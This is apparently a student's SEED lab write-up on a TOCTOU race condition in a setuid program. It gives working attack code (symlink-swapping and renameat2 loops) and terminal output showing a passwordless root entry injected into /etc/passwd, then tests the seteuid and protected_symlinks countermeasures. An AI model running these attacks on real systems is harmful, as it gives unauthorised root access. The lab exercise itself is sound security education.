Race Condition Vulnerability Lab

Task 1: Choosing Our Target

```
[10/19/25]seed@VM:~/.../Labsetup$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
[10/19/25]seed@VM:~/.../Labsetup$ sudo sysctl fs.protected_regular=0
fs.protected_regular = 0
```

```
[10/19/25]seed@VM:~/.../Labsetup$ gcc vulp.c -o vulp
[10/20/25]seed@VM:~/.../Labsetup$ sudo chown root vulp
[10/20/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 vulp
```

Create a test account and test by logging into that test account

```
[10/20/25]seed@VM:~/.../Labsetup$ sudo sh -c 'echo "test:U6aMy0wojraho:0:0:
test:/root:/bin/bash" >> /etc/passwd'
[10/20/25]seed@VM:~/.../Labsetup$ su - test
Password:
root@VM:~# id
uid=0(root) gid=0(root) groups=0(root)
root@VM:~#
```

From this, we can see that we were able to log into the test account without typing a password that contained root privileges.

Remove test line from /etc/passwd

```
[10/20/25]seed@VM:~/.../Labsetup$ sudo sed -i '/^test:/d' /etc/passwd
```

Task 2: Launching the Race Condition Attack

Task 2.A: Simulating a Slow Machine

Modify vulp.c to simulate a slow machine

```
[10/20/25]seed@VM:~/.../Labsetup$ nano vulp.c
[10/20/25]seed@VM:~/.../Labsetup$ gcc vulp.c -o vulp
[10/20/25]seed@VM:~/.../Labsetup$ sudo chown root vulp
[10/20/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 vulp
```

Now we create the input and run it through vulp.c with the sleep(10); added

```
[10/20/25]seed@VM:~/.../Labsetup$ echo "test:U6aMy0wojraho:0:0:test:/root:/bin/
bash" > input.txt
[10/20/25]seed@VM:~/.../Labsetup$ cat input.txt
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
[10/20/25]seed@VM:~/.../Labsetup$ ls
a.out  input.txt  target_process.sh  vulp  vulp.c
[10/20/25]seed@VM:~/.../Labsetup$ ./vulp < input.txt
```

On a second terminal we run

```
[10/20/25]seed@VM:~/.../Labsetup$ ln -sf /etc/passwd /tmp/XYZ
[10/20/25]seed@VM:~/.../Labsetup$ ls -l /tmp/XYZ
lrwxrwxrwx 1 seed seed 11 Oct 20 22:44 /tmp/XYZ -> /etc/passwd
```

After we wait for vulp to finish running, we check to see if our injected line was successfully injected

```
[10/20/25]seed@VM:~/.../Labsetup$ tail -n 5 /etc/passwd
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001::/home/user1:/bin/sh

test:U6aMy0wojraho:0:0:test:/root:/bin/bash[10/20/25]seed@VM:~/.../Labsetup$
```

From this we can see that we successfully injected it. Now we clean it up

```
[10/20/25]seed@VM:~/.../Labsetup$ sudo sed -i '/^test:/d' /etc/passwd
[10/20/25]seed@VM:~/.../Labsetup$ rm -f /tmp/XYZ
[10/20/25]seed@VM:~/.../Labsetup$ rm -f vulp input.txt
```

Task 2.B: The Real Attack

Create an attack file and compile it

```
 GNU nano 4.8                        attack1.c                          Modified
#include <unistd.h>

int main() {
    while(1){
        unlink("/tmp/XYZ");           // remove existing link
        symlink("/etc/passwd","/tmp/XYZ"); // point to passwd
        usleep(1000);                 // tiny sleep to allow victim to run
    }
    return 0;
}
```

```
[10/20/25]seed@VM:~/.../Labsetup$ nano attack1.c
[10/20/25]seed@VM:~/.../Labsetup$ gcc attack1.c -o attack1
```

Run the target_process.sh script in another terminal and run the attack1.c.

After running the script, we can see that it was successfully modified

```
[10/20/25]seed@VM:~/.../Labsetup$ tail -n 5 /etc/passwd
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001::/home/user1:/bin/sh

test:U6aMy0wojraho:0:0:test:/root:/bin/bash[10/20/25]seed@VM:~/.../Labsetup$
```

Task 2.C: An Improved Attack Method

Create another attack file using RENAME_EXCHANGE and renameat2 and compile

```
 GNU nano 4.8                          attack2.c                          Modified
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h> // for renameat2 flags

int main(){
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
    while(1){
        if(renameat2(AT_FDCWD, "/tmp/XYZ", AT_FDCWD, "/tmp/ABC", flags) == -1){
            perror("renameat2");
        }
    }
    return 0;
}
```

```
[10/20/25]seed@VM:~/.../Labsetup$ nano attack2.c
[10/20/25]seed@VM:~/.../Labsetup$ gcc attack2.c -o attack2
```

Run the attack2.c and target_process.sh in another terminal

```
[10/21/25]seed@VM:~/.../Labsetup$ ./attack2
[10/21/25]seed@VM:~/.../Labsetup$ ./target_process.sh
Starting exploit monitor: Tue 21 Oct 2025 02:59:16 PM EDT
Tue 21 Oct 2025 02:59:17 PM EDT: attempts=100 elapsed=1s
STOP... /etc/passwd changed after 121 attempts and 1 seconds
-rw-r--r-- 1 root root 2970 Oct 21 14:59 /etc/passwd
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001::/home/user1:/bin/sh


test:U6aMy0wojraho:0:0:test:/root:/bin/bash[10/21/25]seed@VM:~/.../
```

From this we can see that the attack worked as we were able to get test into /etc/passwd and we are able to enter root without a password

```
[10/21/25]seed@VM:~/.../Labsetup$ su - test
Password:
```

Cleanup

```
[10/21/25]seed@VM:~/.../Labsetup$ sudo sed -i '/^test:/d' /etc/pass
wd
[10/21/25]seed@VM:~/.../Labsetup$ rm -f /tmp/XYZ /tmp/ABC
```

Task 3: Countermeasures

Task 3.A: Applying the Principle of Least Privilege

Modify vulp so that we use a seteuid system call

```
 GNU nano 4.8                                                  vulp.c
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(){
    char *fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    scanf("%50s", buffer);

    uid_t ruid = getuid();   // real uid
    uid_t euid = geteuid();  // should be 0 (root)
    seteuid(ruid);           // drop to real user

    if(!access(fn, W_OK)){
        seteuid(euid);       // temporarily enable root to open file
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
        seteuid(ruid);       // drop back
    } else printf("No permission\n");

    return 0;
}
```

Save, compile and run previous tests

```
[10/21/25]seed@VM:~/.../Labsetup$ nano vulp.c
[10/21/25]seed@VM:~/.../Labsetup$ gcc vulp.c -o vulp
[10/21/25]seed@VM:~/.../Labsetup$ sudo chown root:root vulp
[10/21/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 vulp
[10/21/25]seed@VM:~/.../Labsetup$ ls -l vulp
-rwsr-xr-x 1 root root 17152 Oct 21 15:05 vulp
```

```
Tue 21 Oct 2025 03:19:27 PM EDT: attempts=43100 elapsed=316s
Tue 21 Oct 2025 03:19:28 PM EDT: attempts=43200 elapsed=317s
Tue 21 Oct 2025 03:19:29 PM EDT: attempts=43300 elapsed=318s
Tue 21 Oct 2025 03:19:30 PM EDT: attempts=43400 elapsed=319s
Tue 21 Oct 2025 03:19:31 PM EDT: attempts=43500 elapsed=320s
```

We can see that with the modified code, the injection never happens

Task 3.B: Using Ubuntu's Built-in Scheme

Now we do the same thing after reenabling Ubuntu's built-in protection:

```
Tue 21 Oct 2025 03:26:31 PM EDT: attempts=50100 elapsed=325s
Tue 21 Oct 2025 03:26:32 PM EDT: attempts=50200 elapsed=326s
Tue 21 Oct 2025 03:26:33 PM EDT: attempts=50300 elapsed=327s
Tue 21 Oct 2025 03:26:33 PM EDT: attempts=50400 elapsed=327s
Tue 21 Oct 2025 03:26:34 PM EDT: attempts=50500 elapsed=328s
Tue 21 Oct 2025 03:26:35 PM EDT: attempts=50600 elapsed=329s
```

Similarly we see that the program runs forever without ever succeeding.

This works because the kernel refuses to follow symlinks into sticky world-writable dirs (like /tmp) when symlink ownership mismatches the follower or directory owner, preventing symlink-based races.